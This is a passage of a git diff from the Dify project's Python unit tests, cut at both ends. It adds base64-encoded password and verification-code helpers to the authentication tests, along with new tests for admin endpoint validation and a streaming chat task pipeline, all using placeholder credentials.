+        """Test that concurrency limit configuration is defined."""
+        assert hasattr(dify_config, "ANNOTATION_IMPORT_MAX_CONCURRENT")
+        assert dify_config.ANNOTATION_IMPORT_MAX_CONCURRENT > 0
+        assert dify_config.ANNOTATION_IMPORT_MAX_CONCURRENT <= 10  # Reasonable upper bound
diff --git a/api/tests/unit_tests/controllers/console/auth/test_authentication_security.py b/api/tests/unit_tests/controllers/console/auth/test_authentication_security.py
index b6697ac5d4..eb21920117 100644
--- a/api/tests/unit_tests/controllers/console/auth/test_authentication_security.py
+++ b/api/tests/unit_tests/controllers/console/auth/test_authentication_security.py
@@ -1,5 +1,6 @@
 """Test authentication security to prevent user enumeration."""
 
+import base64
 from unittest.mock import MagicMock, patch
 
 import pytest
@@ -11,6 +12,11 @@ from controllers.console.auth.error import AuthenticationFailedError
 from controllers.console.auth.login import LoginApi
 
 
+def encode_password(password: str) -> str:
+    """Helper to encode password as Base64 for testing."""
+    return base64.b64encode(password.encode("utf-8")).decode()
+
+
 class TestAuthenticationSecurity:
     """Test authentication endpoints for security against user enumeration."""
 
@@ -42,7 +48,9 @@ class TestAuthenticationSecurity:
 
         # Act
         with self.app.test_request_context(
-            "/login", method="POST", json={"email": "nonexistent@example.com", "password": "WrongPass123!"}
+            "/login",
+            method="POST",
+            json={"email": "nonexistent@example.com", "password": encode_password("WrongPass123!")},
         ):
             login_api = LoginApi()
 
@@ -72,7 +80,9 @@ class TestAuthenticationSecurity:
 
         # Act
         with self.app.test_request_context(
-            "/login", method="POST", json={"email": "existing@example.com", "password": "WrongPass123!"}
+            "/login",
+            method="POST",
+            json={"email": "existing@example.com", "password": encode_password("WrongPass123!")},
         ):
             login_api = LoginApi()
 
@@ -104,7 +114,9 @@ class TestAuthenticationSecurity:
 
         # Act
         with self.app.test_request_context(
-            "/login", method="POST", json={"email": "nonexistent@example.com", "password": "WrongPass123!"}
+            "/login",
+            method="POST",
+            json={"email": "nonexistent@example.com", "password": encode_password("WrongPass123!")},
         ):
             login_api = LoginApi()
 
diff --git a/api/tests/unit_tests/controllers/console/auth/test_email_verification.py b/api/tests/unit_tests/controllers/console/auth/test_email_verification.py
index a44f518171..9929a71120 100644
--- a/api/tests/unit_tests/controllers/console/auth/test_email_verification.py
+++ b/api/tests/unit_tests/controllers/console/auth/test_email_verification.py
@@ -8,6 +8,7 @@ This module tests the email code login mechanism including:
 - Workspace creation for new users
 """
 
+import base64
 from unittest.mock import MagicMock, patch
 
 import pytest
@@ -25,6 +26,11 @@ from controllers.console.error import (
 from services.errors.account import AccountRegisterError
 
 
+def encode_code(code: str) -> str:
+    """Helper to encode verification code as Base64 for testing."""
+    return base64.b64encode(code.encode("utf-8")).decode()
+
+
 class TestEmailCodeLoginSendEmailApi:
     """Test cases for sending email verification codes."""
 
@@ -290,7 +296,7 @@ class TestEmailCodeLoginApi:
         with app.test_request_context(
             "/email-code-login/validity",
             method="POST",
-            json={"email": "test@example.com", "code": "123456", "token": "valid_token"},
+            json={"email": "test@example.com", "code": encode_code("123456"), "token": "valid_token"},
         ):
             api = EmailCodeLoginApi()
             response = api.post()
@@ -339,7 +345,12 @@ class TestEmailCodeLoginApi:
         with app.test_request_context(
             "/email-code-login/validity",
             method="POST",
-            json={"email": "newuser@example.com", "code": "123456", "token": "valid_token", "language": "en-US"},
+            json={
+                "email": "newuser@example.com",
+                "code": encode_code("123456"),
+                "token": "valid_token",
+                "language": "en-US",
+            },
         ):
             api = EmailCodeLoginApi()
             response = api.post()
@@ -365,7 +376,7 @@ class TestEmailCodeLoginApi:
         with app.test_request_context(
             "/email-code-login/validity",
             method="POST",
-            json={"email": "test@example.com", "code": "123456", "token": "invalid_token"},
+            json={"email": "test@example.com", "code": encode_code("123456"), "token": "invalid_token"},
         ):
             api = EmailCodeLoginApi()
             with pytest.raises(InvalidTokenError):
@@ -388,7 +399,7 @@ class TestEmailCodeLoginApi:
         with app.test_request_context(
             "/email-code-login/validity",
             method="POST",
-            json={"email": "different@example.com", "code": "123456", "token": "token"},
+            json={"email": "different@example.com", "code": encode_code("123456"), "token": "token"},
         ):
             api = EmailCodeLoginApi()
             with pytest.raises(InvalidEmailError):
@@ -411,7 +422,7 @@ class TestEmailCodeLoginApi:
         with app.test_request_context(
             "/email-code-login/validity",
             method="POST",
-            json={"email": "test@example.com", "code": "wrong_code", "token": "token"},
+            json={"email": "test@example.com", "code": encode_code("wrong_code"), "token": "token"},
         ):
             api = EmailCodeLoginApi()
             with pytest.raises(EmailCodeError):
@@ -497,7 +508,7 @@ class TestEmailCodeLoginApi:
         with app.test_request_context(
             "/email-code-login/validity",
             method="POST",
-            json={"email": "test@example.com", "code": "123456", "token": "token"},
+            json={"email": "test@example.com", "code": encode_code("123456"), "token": "token"},
         ):
             api = EmailCodeLoginApi()
             with pytest.raises(WorkspacesLimitExceeded):
@@ -539,7 +550,7 @@ class TestEmailCodeLoginApi:
         with app.test_request_context(
             "/email-code-login/validity",
             method="POST",
-            json={"email": "test@example.com", "code": "123456", "token": "token"},
+            json={"email": "test@example.com", "code": encode_code("123456"), "token": "token"},
         ):
             api = EmailCodeLoginApi()
             with pytest.raises(NotAllowedCreateWorkspace):
diff --git a/api/tests/unit_tests/controllers/console/auth/test_login_logout.py b/api/tests/unit_tests/controllers/console/auth/test_login_logout.py
index 8799d6484d..3a2cf7bad7 100644
--- a/api/tests/unit_tests/controllers/console/auth/test_login_logout.py
+++ b/api/tests/unit_tests/controllers/console/auth/test_login_logout.py
@@ -8,6 +8,7 @@ This module tests the core authentication endpoints including:
 - Account status validation
 """
 
+import base64
 from unittest.mock import MagicMock, patch
 
 import pytest
@@ -28,6 +29,11 @@ from controllers.console.error import (
 from services.errors.account import AccountLoginError, AccountPasswordError
 
 
+def encode_password(password: str) -> str:
+    """Helper to encode password as Base64 for testing."""
+    return base64.b64encode(password.encode("utf-8")).decode()
+
+
 class TestLoginApi:
     """Test cases for the LoginApi endpoint."""
 
@@ -106,7 +112,9 @@ class TestLoginApi:
 
         # Act
         with app.test_request_context(
-            "/login", method="POST", json={"email": "test@example.com", "password": "ValidPass123!"}
+            "/login",
+            method="POST",
+            json={"email": "test@example.com", "password": encode_password("ValidPass123!")},
         ):
             login_api = LoginApi()
             response = login_api.post()
@@ -158,7 +166,11 @@ class TestLoginApi:
         with app.test_request_context(
             "/login",
             method="POST",
-            json={"email": "test@example.com", "password": "ValidPass123!", "invite_token": "valid_token"},
+            json={
+                "email": "test@example.com",
+                "password": encode_password("ValidPass123!"),
+                "invite_token": "valid_token",
+            },
         ):
             login_api = LoginApi()
             response = login_api.post()
@@ -186,7 +198,7 @@ class TestLoginApi:
 
         # Act & Assert
         with app.test_request_context(
-            "/login", method="POST", json={"email": "test@example.com", "password": "password"}
+            "/login", method="POST", json={"email": "test@example.com", "password": encode_password("password")}
         ):
             login_api = LoginApi()
             with pytest.raises(EmailPasswordLoginLimitError):
@@ -209,7 +221,7 @@ class TestLoginApi:
 
         # Act & Assert
         with app.test_request_context(
-            "/login", method="POST", json={"email": "frozen@example.com", "password": "password"}
+            "/login", method="POST", json={"email": "frozen@example.com", "password": encode_password("password")}
         ):
             login_api = LoginApi()
             with pytest.raises(AccountInFreezeError):
@@ -246,7 +258,7 @@ class TestLoginApi:
 
         # Act & Assert
         with app.test_request_context(
-            "/login", method="POST", json={"email": "test@example.com", "password": "WrongPass123!"}
+            "/login", method="POST", json={"email": "test@example.com", "password": encode_password("WrongPass123!")}
         ):
             login_api = LoginApi()
             with pytest.raises(AuthenticationFailedError):
@@ -277,7 +289,7 @@ class TestLoginApi:
 
         # Act & Assert
         with app.test_request_context(
-            "/login", method="POST", json={"email": "banned@example.com", "password": "ValidPass123!"}
+            "/login", method="POST", json={"email": "banned@example.com", "password": encode_password("ValidPass123!")}
         ):
             login_api = LoginApi()
             with pytest.raises(AccountBannedError):
@@ -322,7 +334,7 @@ class TestLoginApi:
 
         # Act & Assert
         with app.test_request_context(
-            "/login", method="POST", json={"email": "test@example.com", "password": "ValidPass123!"}
+            "/login", method="POST", json={"email": "test@example.com", "password": encode_password("ValidPass123!")}
         ):
             login_api = LoginApi()
             with pytest.raises(WorkspacesLimitExceeded):
@@ -349,7 +361,11 @@ class TestLoginApi:
         with app.test_request_context(
             "/login",
             method="POST",
-            json={"email": "different@example.com", "password": "ValidPass123!", "invite_token": "token"},
+            json={
+                "email": "different@example.com",
+                "password": encode_password("ValidPass123!"),
+                "invite_token": "token",
+            },
         ):
             login_api = LoginApi()
             with pytest.raises(InvalidEmailError):
diff --git a/api/tests/unit_tests/controllers/console/test_admin.py b/api/tests/unit_tests/controllers/console/test_admin.py
new file mode 100644
index 0000000000..e0ddf6542e
--- /dev/null
+++ b/api/tests/unit_tests/controllers/console/test_admin.py
@@ -0,0 +1,407 @@
+"""Final working unit tests for admin endpoints - tests business logic directly."""
+
+import uuid
+from unittest.mock import Mock, patch
+
+import pytest
+from werkzeug.exceptions import NotFound, Unauthorized
+
+from controllers.console.admin import InsertExploreAppPayload
+from models.model import App, RecommendedApp
+
+
+class TestInsertExploreAppPayload:
+    """Test InsertExploreAppPayload validation."""
+
+    def test_valid_payload(self):
+        """Test creating payload with valid data."""
+        payload_data = {
+            "app_id": str(uuid.uuid4()),
+            "desc": "Test app description",
+            "copyright": "© 2024 Test Company",
+            "privacy_policy": "https://example.com/privacy",
+            "custom_disclaimer": "Custom disclaimer text",
+            "language": "en-US",
+            "category": "Productivity",
+            "position": 1,
+        }
+
+        payload = InsertExploreAppPayload.model_validate(payload_data)
+
+        assert payload.app_id == payload_data["app_id"]
+        assert payload.desc == payload_data["desc"]
+        assert payload.copyright == payload_data["copyright"]
+        assert payload.privacy_policy == payload_data["privacy_policy"]
+        assert payload.custom_disclaimer == payload_data["custom_disclaimer"]
+        assert payload.language == payload_data["language"]
+        assert payload.category == payload_data["category"]
+        assert payload.position == payload_data["position"]
+
+    def test_minimal_payload(self):
+        """Test creating payload with only required fields."""
+        payload_data = {
+            "app_id": str(uuid.uuid4()),
+            "language": "en-US",
+            "category": "Productivity",
+            "position": 1,
+        }
+
+        payload = InsertExploreAppPayload.model_validate(payload_data)
+
+        assert payload.app_id == payload_data["app_id"]
+        assert payload.desc is None
+        assert payload.copyright is None
+        assert payload.privacy_policy is None
+        assert payload.custom_disclaimer is None
+        assert payload.language == payload_data["language"]
+        assert payload.category == payload_data["category"]
+        assert payload.position == payload_data["position"]
+
+    def test_invalid_language(self):
+        """Test payload with invalid language code."""
+        payload_data = {
+            "app_id": str(uuid.uuid4()),
+            "language": "invalid-lang",
+            "category": "Productivity",
+            "position": 1,
+        }
+
+        with pytest.raises(ValueError, match="invalid-lang is not a valid language"):
+            InsertExploreAppPayload.model_validate(payload_data)
+
+
+class TestAdminRequiredDecorator:
+    """Test admin_required decorator."""
+
+    def setup_method(self):
+        """Set up test fixtures."""
+        # Mock dify_config
+        self.dify_config_patcher = patch("controllers.console.admin.dify_config")
+        self.mock_dify_config = self.dify_config_patcher.start()
+        self.mock_dify_config.ADMIN_API_KEY = "test-admin-key"
+
+        # Mock extract_access_token
+        self.token_patcher = patch("controllers.console.admin.extract_access_token")
+        self.mock_extract_token = self.token_patcher.start()
+
+    def teardown_method(self):
+        """Clean up test fixtures."""
+        self.dify_config_patcher.stop()
+        self.token_patcher.stop()
+
+    def test_admin_required_success(self):
+        """Test successful admin authentication."""
+        from controllers.console.admin import admin_required
+
+        @admin_required
+        def test_view():
+            return {"success": True}
+
+        self.mock_extract_token.return_value = "test-admin-key"
+        result = test_view()
+        assert result["success"] is True
+
+    def test_admin_required_invalid_token(self):
+        """Test admin_required with invalid token."""
+        from controllers.console.admin import admin_required
+
+        @admin_required
+        def test_view():
+            return {"success": True}
+
+        self.mock_extract_token.return_value = "wrong-key"
+        with pytest.raises(Unauthorized, match="API key is invalid"):
+            test_view()
+
+    def test_admin_required_no_api_key_configured(self):
+        """Test admin_required when no API key is configured."""
+        from controllers.console.admin import admin_required
+
+        self.mock_dify_config.ADMIN_API_KEY = None
+
+        @admin_required
+        def test_view():
+            return {"success": True}
+
+        with pytest.raises(Unauthorized, match="API key is invalid"):
+            test_view()
+
+    def test_admin_required_missing_authorization_header(self):
+        """Test admin_required with missing authorization header."""
+        from controllers.console.admin import admin_required
+
+        @admin_required
+        def test_view():
+            return {"success": True}
+
+        self.mock_extract_token.return_value = None
+        with pytest.raises(Unauthorized, match="Authorization header is missing"):
+            test_view()
+
+
+class TestExploreAppBusinessLogicDirect:
+    """Test the core business logic of explore app management directly."""
+
+    def test_data_fusion_logic(self):
+        """Test the data fusion logic between payload and site data."""
+        # Test cases for different data scenarios
+        test_cases = [
+            {
+                "name": "site_data_overrides_payload",
+                "payload": {"desc": "Payload desc", "copyright": "Payload copyright"},
+                "site": {"description": "Site desc", "copyright": "Site copyright"},
+                "expected": {
+                    "desc": "Site desc",
+                    "copyright": "Site copyright",
+                    "privacy_policy": "",
+                    "custom_disclaimer": "",
+                },
+            },
+            {
+                "name": "payload_used_when_no_site",
+                "payload": {"desc": "Payload desc", "copyright": "Payload copyright"},
+                "site": None,
+                "expected": {
+                    "desc": "Payload desc",
+                    "copyright": "Payload copyright",
+                    "privacy_policy": "",
+                    "custom_disclaimer": "",
+                },
+            },
+            {
+                "name": "empty_defaults_when_no_data",
+                "payload": {},
+                "site": None,
+                "expected": {"desc": "", "copyright": "", "privacy_policy": "", "custom_disclaimer": ""},
+            },
+        ]
+
+        for case in test_cases:
+            # Simulate the data fusion logic
+            payload_desc = case["payload"].get("desc")
+            payload_copyright = case["payload"].get("copyright")
+            payload_privacy_policy = case["payload"].get("privacy_policy")
+            payload_custom_disclaimer = case["payload"].get("custom_disclaimer")
+
+            if case["site"]:
+                site_desc = case["site"].get("description")
+                site_copyright = case["site"].get("copyright")
+                site_privacy_policy = case["site"].get("privacy_policy")
+                site_custom_disclaimer = case["site"].get("custom_disclaimer")
+
+                # Site data takes precedence
+                desc = site_desc or payload_desc or ""
+                copyright = site_copyright or payload_copyright or ""
+                privacy_policy = site_privacy_policy or payload_privacy_policy or ""
+                custom_disclaimer = site_custom_disclaimer or payload_custom_disclaimer or ""
+            else:
+                # Use payload data or empty defaults
+                desc = payload_desc or ""
+                copyright = payload_copyright or ""
+                privacy_policy = payload_privacy_policy or ""
+                custom_disclaimer = payload_custom_disclaimer or ""
+
+            result = {
+                "desc": desc,
+                "copyright": copyright,
+                "privacy_policy": privacy_policy,
+                "custom_disclaimer": custom_disclaimer,
+            }
+
+            assert result == case["expected"], f"Failed test case: {case['name']}"
+
+    def test_app_visibility_logic(self):
+        """Test that apps are made public when added to explore list."""
+        # Create a mock app
+        mock_app = Mock(spec=App)
+        mock_app.is_public = False
+
+        # Simulate the business logic
+        mock_app.is_public = True
+
+        assert mock_app.is_public is True
+
+    def test_recommended_app_creation_logic(self):
+        """Test the creation of RecommendedApp objects."""
+        app_id = str(uuid.uuid4())
+        payload_data = {
+            "app_id": app_id,
+            "desc": "Test app description",
+            "copyright": "© 2024 Test Company",
+            "privacy_policy": "https://example.com/privacy",
+            "custom_disclaimer": "Custom disclaimer",
+            "language": "en-US",
+            "category": "Productivity",
+            "position": 1,
+        }
+
+        # Simulate the creation logic
+        recommended_app = Mock(spec=RecommendedApp)
+        recommended_app.app_id = payload_data["app_id"]
+        recommended_app.description = payload_data["desc"]
+        recommended_app.copyright = payload_data["copyright"]
+        recommended_app.privacy_policy = payload_data["privacy_policy"]
+        recommended_app.custom_disclaimer = payload_data["custom_disclaimer"]
+        recommended_app.language = payload_data["language"]
+        recommended_app.category = payload_data["category"]
+        recommended_app.position = payload_data["position"]
+
+        # Verify the data
+        assert recommended_app.app_id == app_id
+        assert recommended_app.description == "Test app description"
+        assert recommended_app.copyright == "© 2024 Test Company"
+        assert recommended_app.privacy_policy == "https://example.com/privacy"
+        assert recommended_app.custom_disclaimer == "Custom disclaimer"
+        assert recommended_app.language == "en-US"
+        assert recommended_app.category == "Productivity"
+        assert recommended_app.position == 1
+
+    def test_recommended_app_update_logic(self):
+        """Test the update logic for existing RecommendedApp objects."""
+        mock_recommended_app = Mock(spec=RecommendedApp)
+
+        update_data = {
+            "desc": "Updated description",
+            "copyright": "© 2024 Updated",
+            "language": "fr-FR",
+            "category": "Tools",
+            "position": 2,
+        }
+
+        # Simulate the update logic
+        mock_recommended_app.description = update_data["desc"]
+        mock_recommended_app.copyright = update_data["copyright"]
+        mock_recommended_app.language = update_data["language"]
+        mock_recommended_app.category = update_data["category"]
+        mock_recommended_app.position = update_data["position"]
+
+        # Verify the updates
+        assert mock_recommended_app.description == "Updated description"
+        assert mock_recommended_app.copyright == "© 2024 Updated"
+        assert mock_recommended_app.language == "fr-FR"
+        assert mock_recommended_app.category == "Tools"
+        assert mock_recommended_app.position == 2
+
+    def test_app_not_found_error_logic(self):
+        """Test error handling when app is not found."""
+        app_id = str(uuid.uuid4())
+
+        # Simulate app lookup returning None
+        found_app = None
+
+        # Test the error condition
+        if not found_app:
+            with pytest.raises(NotFound, match=f"App '{app_id}' is not found"):
+                raise NotFound(f"App '{app_id}' is not found")
+
+    def test_recommended_app_not_found_error_logic(self):
+        """Test error handling when recommended app is not found for deletion."""
+        app_id = str(uuid.uuid4())
+
+        # Simulate recommended app lookup returning None
+        found_recommended_app = None
+
+        # Test the error condition
+        if not found_recommended_app:
+            with pytest.raises(NotFound, match=f"App '{app_id}' is not found in the explore list"):
+                raise NotFound(f"App '{app_id}' is not found in the explore list")
+
+    def test_database_session_usage_patterns(self):
+        """Test the expected database session usage patterns."""
+        # Mock session usage patterns
+        mock_session = Mock()
+
+        # Test session.add pattern
+        mock_recommended_app = Mock(spec=RecommendedApp)
+        mock_session.add(mock_recommended_app)
+        mock_session.commit()
+
+        # Verify session was used correctly
+        mock_session.add.assert_called_once_with(mock_recommended_app)
+        mock_session.commit.assert_called_once()
+
+        # Test session.delete pattern
+        mock_recommended_app_to_delete = Mock(spec=RecommendedApp)
+        mock_session.delete(mock_recommended_app_to_delete)
+        mock_session.commit()
+
+        # Verify delete pattern
+        mock_session.delete.assert_called_once_with(mock_recommended_app_to_delete)
+
+    def test_payload_validation_integration(self):
+        """Test payload validation in the context of the business logic."""
+        # Test valid payload
+        valid_payload_data = {
+            "app_id": str(uuid.uuid4()),
+            "desc": "Test app description",
+            "language": "en-US",
+            "category": "Productivity",
+            "position": 1,
+        }
+
+        # This should succeed
+        payload = InsertExploreAppPayload.model_validate(valid_payload_data)
+        assert payload.app_id == valid_payload_data["app_id"]
+
+        # Test invalid payload
+        invalid_payload_data = {
+            "app_id": str(uuid.uuid4()),
+            "language": "invalid-lang",  # This should fail validation
+            "category": "Productivity",
+            "position": 1,
+        }
+
+        # This should raise an exception
+        with pytest.raises(ValueError, match="invalid-lang is not a valid language"):
+            InsertExploreAppPayload.model_validate(invalid_payload_data)
+
+
+class TestExploreAppDataHandling:
+    """Test specific data handling scenarios."""
+
+    def test_uuid_validation(self):
+        """Test UUID validation and handling."""
+        # Test valid UUID
+        valid_uuid = str(uuid.uuid4())
+
+        # This should be a valid UUID
+        assert uuid.UUID(valid_uuid) is not None
+
+        # Test invalid UUID
+        invalid_uuid = "not-a-valid-uuid"
+
+        # This should raise a ValueError
+        with pytest.raises(ValueError):
+            uuid.UUID(invalid_uuid)
+
+    def test_language_validation(self):
+        """Test language validation against supported languages."""
+        from constants.languages import supported_language
+
+        # Test supported language
+        assert supported_language("en-US") == "en-US"
+        assert supported_language("fr-FR") == "fr-FR"
+
+        # Test unsupported language
+        with pytest.raises(ValueError, match="invalid-lang is not a valid language"):
+            supported_language("invalid-lang")
+
+    def test_response_formatting(self):
+        """Test API response formatting."""
+        # Test success responses
+        create_response = {"result": "success"}
+        update_response = {"result": "success"}
+        delete_response = None  # 204 No Content returns None
+
+        assert create_response["result"] == "success"
+        assert update_response["result"] == "success"
+        assert delete_response is None
+
+        # Test status codes
+        create_status = 201  # Created
+        update_status = 200  # OK
+        delete_status = 204  # No Content
+
+        assert create_status == 201
+        assert update_status == 200
+        assert delete_status == 204
diff --git a/api/tests/unit_tests/core/app/task_pipeline/test_easy_ui_based_generate_task_pipeline.py b/api/tests/unit_tests/core/app/task_pipeline/test_easy_ui_based_generate_task_pipeline.py
new file mode 100644
index 0000000000..40f58c9ddf
--- /dev/null
+++ b/api/tests/unit_tests/core/app/task_pipeline/test_easy_ui_based_generate_task_pipeline.py
@@ -0,0 +1,420 @@
+from types import SimpleNamespace
+from unittest.mock import ANY, Mock, patch
+
+import pytest
+
+from core.app.apps.base_app_queue_manager import AppQueueManager
+from core.app.entities.app_invoke_entities import ChatAppGenerateEntity
+from core.app.entities.queue_entities import (
+    QueueAgentMessageEvent,
+    QueueErrorEvent,
+    QueueLLMChunkEvent,
+    QueueMessageEndEvent,
+    QueueMessageFileEvent,
+    QueuePingEvent,
+)
+from core.app.entities.task_entities import (
+    EasyUITaskState,
+    ErrorStreamResponse,
+    MessageEndStreamResponse,
+    MessageFileStreamResponse,
+    MessageReplaceStreamResponse,
+    MessageStreamResponse,
+    PingStreamResponse,
+    StreamEvent,
+)
+from core.app.task_pipeline.easy_ui_based_generate_task_pipeline import EasyUIBasedGenerateTaskPipeline
+from core.base.tts import AppGeneratorTTSPublisher
+from core.model_runtime.entities.llm_entities import LLMResult as RuntimeLLMResult
+from core.model_runtime.entities.message_entities import TextPromptMessageContent
+from core.ops.ops_trace_manager import TraceQueueManager
+from models.model import AppMode
+
+
+class TestEasyUIBasedGenerateTaskPipelineProcessStreamResponse:
+    """Test cases for EasyUIBasedGenerateTaskPipeline._process_stream_response method."""
+
+    @pytest.fixture
+    def mock_application_generate_entity(self):
+        """Create a mock application generate entity."""
+        entity = Mock(spec=ChatAppGenerateEntity)
+        entity.task_id = "test-task-id"
+        entity.app_id = "test-app-id"
+        # minimal app_config used by pipeline internals
+        entity.app_config = SimpleNamespace(
+            tenant_id="test-tenant-id",
+            app_id="test-app-id",
+            app_mode=AppMode.CHAT,
+            app_model_config_dict={},
+            additional_features=None,
+            sensitive_word_avoidance=None,
+        )
+        # minimal model_conf for LLMResult init
+        entity.model_conf = SimpleNamespace(
+            model="test-model",
+            provider_model_bundle=SimpleNamespace(model_type_instance=Mock()),
+            credentials={},
+        )
+        return entity
+
+    @pytest.fixture
+    def mock_queue_manager(self):
+        """Create a mock queue manager."""
+        manager = Mock(spec=AppQueueManager)
+        return manager
+
+    @pytest.fixture
+    def mock_message_cycle_manager(self):
+        """Create a mock message cycle manager."""
+        manager = Mock()
+        manager.get_message_event_type.return_value = StreamEvent.MESSAGE
+        manager.message_to_stream_response.return_value = Mock(spec=MessageStreamResponse)
+        manager.message_file_to_stream_response.return_value = Mock(spec=MessageFileStreamResponse)
+        manager.message_replace_to_stream_response.return_value = Mock(spec=MessageReplaceStreamResponse)
+        manager.handle_retriever_resources = Mock()
+        manager.handle_annotation_reply.return_value = None
+        return manager
+
+    @pytest.fixture
+    def mock_conversation(self):
+        """Create a mock conversation."""
+        conversation = Mock()
+        conversation.id = "test-conversation-id"
+        conversation.mode = "chat"
+        return conversation
+
+    @pytest.fixture
+    def mock_message(self):
+        """Create a mock message."""
+        message = Mock()
+        message.id = "test-message-id"
+        message.created_at = Mock()
+        message.created_at.timestamp.return_value = 1234567890
+        return message
+
+    @pytest.fixture
+    def mock_task_state(self):
+        """Create a mock task state."""
+        task_state = Mock(spec=EasyUITaskState)
+
+        # Create LLM result mock
+        llm_result = Mock(spec=RuntimeLLMResult)
+        llm_result.prompt_messages = []
+        llm_result.message = Mock()
+        llm_result.message.content = ""
+
+        task_state.llm_result = llm_result
+        task_state.answer = ""
+
+        return task_state
+
+    @pytest.fixture
+    def pipeline(
+        self,
+        mock_application_generate_entity,
+        mock_queue_manager,
+        mock_conversation,
+        mock_message,
+        mock_message_cycle_manager,
+        mock_task_state,
+    ):
+        """Create an EasyUIBasedGenerateTaskPipeline instance with mocked dependencies."""
+        with patch(
+            "core.app.task_pipeline.easy_ui_based_generate_task_pipeline.EasyUITaskState", return_value=mock_task_state
+        ):
+            pipeline = EasyUIBasedGenerateTaskPipeline(
+                application_generate_entity=mock_application_generate_entity,
+                queue_manager=mock_queue_manager,
+                conversation=mock_conversation,
+                message=mock_message,
+                stream=True,
+            )
+            pipeline._message_cycle_manager = mock_message_cycle_manager
+            pipeline._task_state = mock_task_state
+            return pipeline
+
+    def test_get_message_event_type_called_once_when_first_llm_chunk_arrives(
+        self, pipeline, mock_message_cycle_manager
+    ):
+        """Expect get_message_event_type to be called when processing the first LLM chunk event."""
+        # Setup a minimal LLM chunk event
+        chunk = Mock()
+        chunk.delta.message.content = "hi"
+        chunk.prompt_messages = []
+        llm_chunk_event = Mock(spec=QueueLLMChunkEvent)
+        llm_chunk_event.chunk = chunk
+        mock_queue_message = Mock()
+        mock_queue_message.event = llm_chunk_event
+        pipeline.queue_manager.listen.return_value = [mock_queue_message]
+
+        # Execute
+        list(pipeline._process_stream_response(publisher=None, trace_manager=None))
+
+        # Assert
+        mock_message_cycle_manager.get_message_event_type.assert_called_once_with(message_id="test-message-id")
+
+    def test_llm_chunk_event_with_text_content(self, pipeline, mock_message_cycle_manager, mock_task_state):
+        """Test handling of LLM chunk events with text content."""
+        # Setup
+        chunk = Mock()
+        chunk.delta.message.content = "Hello, world!"
+        chunk.prompt_messages = []
+
+        llm_chunk_event = Mock(spec=QueueLLMChunkEvent)
+        llm_chunk_event.chunk = chunk
+
+        mock_queue_message = Mock()
+        mock_queue_message.event = llm_chunk_event
+        pipeline.queue_manager.listen.return_value = [mock_queue_message]
+
+        mock_message_cycle_manager.get_message_event_type.return_value = StreamEvent.MESSAGE
+
+        # Execute
+        responses = list(pipeline._process_stream_response(publisher=None, trace_manager=None))
+
+        # Assert
+        assert len(responses) == 1
+        mock_message_cycle_manager.message_to_stream_response.assert_called_once_with(
+            answer="Hello, world!", message_id="test-message-id", event_type=StreamEvent.MESSAGE
+        )
+        assert mock_task_state.llm_result.message.content == "Hello, world!"
+
+    def test_llm_chunk_event_with_list_content(self, pipeline, mock_message_cycle_manager, mock_task_state):
+        """Test handling of LLM chunk events with list content."""
+        # Setup
+        text_content = Mock(spec=TextPromptMessageContent)
+        text_content.data = "Hello"
+
+        chunk = Mock()
+        chunk.delta.message.content = [text_content, " world!"]
+        chunk.prompt_messages = []
+
+        llm_chunk_event = Mock(spec=QueueLLMChunkEvent)
+        llm_chunk_event.chunk = chunk
+
+        mock_queue_message = Mock()
+        mock_queue_message.event = llm_chunk_event
+        pipeline.queue_manager.listen.return_value = [mock_queue_message]
+
+        mock_message_cycle_manager.get_message_event_type.return_value = StreamEvent.MESSAGE
+
+        # Execute
+        responses = list(pipeline._process_stream_response(publisher=None, trace_manager=None))
+
+        # Assert
+        assert len(responses) == 1
+        mock_message_cycle_manager.message_to_stream_response.assert_called_once_with(
+            answer="Hello world!", message_id="test-message-id", event_type=StreamEvent.MESSAGE
+        )
+        assert mock_task_state.llm_result.message.content == "Hello world!"
+
+    def test_agent_message_event(self, pipeline, mock_message_cycle_manager, mock_task_state):
+        """Test handling of agent message events."""
+        # Setup
+        chunk = Mock()
+        chunk.delta.message.content = "Agent response"
+
+        agent_message_event = Mock(spec=QueueAgentMessageEvent)
+        agent_message_event.chunk = chunk
+
+        mock_queue_message = Mock()
+        mock_queue_message.event = agent_message_event
+        pipeline.queue_manager.listen.return_value = [mock_queue_message]
+
+        # Ensure method under assertion is a mock to track calls
+        pipeline._agent_message_to_stream_response = Mock(return_value=Mock())
+
+        # Execute
+        responses = list(pipeline._process_stream_response(publisher=None, trace_manager=None))
+
+        # Assert
+        assert len(responses) == 1
+        # Agent messages should use _agent_message_to_stream_response
+        pipeline._agent_message_to_stream_response.assert_called_once_with(
+            answer="Agent response", message_id="test-message-id"
+        )
+
+    def test_message_end_event(self, pipeline, mock_message_cycle_manager, mock_task_state):
+        """Test handling of message end events."""
+        # Setup
+        llm_result = Mock(spec=RuntimeLLMResult)
+        llm_result.message = Mock()
+        llm_result.message.content = "Final response"
+
+        message_end_event = Mock(spec=QueueMessageEndEvent)
+        message_end_event.llm_result = llm_result
+
+        mock_queue_message = Mock()
+        mock_queue_message.event = message_end_event
+        pipeline.queue_manager.listen.return_value = [mock_queue_message]
+
+        pipeline._save_message = Mock()
+        pipeline._message_end_to_stream_response = Mock(return_value=Mock(spec=MessageEndStreamResponse))
+
+        # Patch db.engine used inside pipeline for session creation
+        with patch(
+            "core.app.task_pipeline.easy_ui_based_generate_task_pipeline.db", new=SimpleNamespace(engine=Mock())
+        ):
+            # Execute
+            responses = list(pipeline._process_stream_response(publisher=None, trace_manager=None))
+
+        # Assert
+        assert len(responses) == 1
+        assert mock_task_state.llm_result == llm_result
+        pipeline._save_message.assert_called_once()
+        pipeline._message_end_to_stream_response.assert_called_once()
+
+    def test_error_event(self, pipeline):
+        """Test handling of error events."""
+        # Setup
+        error_event = Mock(spec=QueueErrorEvent)
+        error_event.error = Exception("Test error")
+
+        mock_queue_message = Mock()
+        mock_queue_message.event = error_event
+        pipeline.queue_manager.listen.return_value = [mock_queue_message]
+
+        pipeline.handle_error = Mock(return_value=Exception("Test error"))
+        pipeline.error_to_stream_response = Mock(return_value=Mock(spec=ErrorStreamResponse))
+
+        # Patch db.engine used inside pipeline for session creation
+        with patch(
+            "core.app.task_pipeline.easy_ui_based_generate_task_pipeline.db", new=SimpleNamespace(engine=Mock())
+        ):
+            # Execute
+            responses = list(pipeline._process_stream_response(publisher=None, trace_manager=None))
+
+        # Assert
+        assert len(responses) == 1
+        pipeline.handle_error.assert_called_once()
+        pipeline.error_to_stream_response.assert_called_once()
+
+    def test_ping_event(self, pipeline):
+        """Test handling of ping events."""
+        # Setup
+        ping_event = Mock(spec=QueuePingEvent)
+
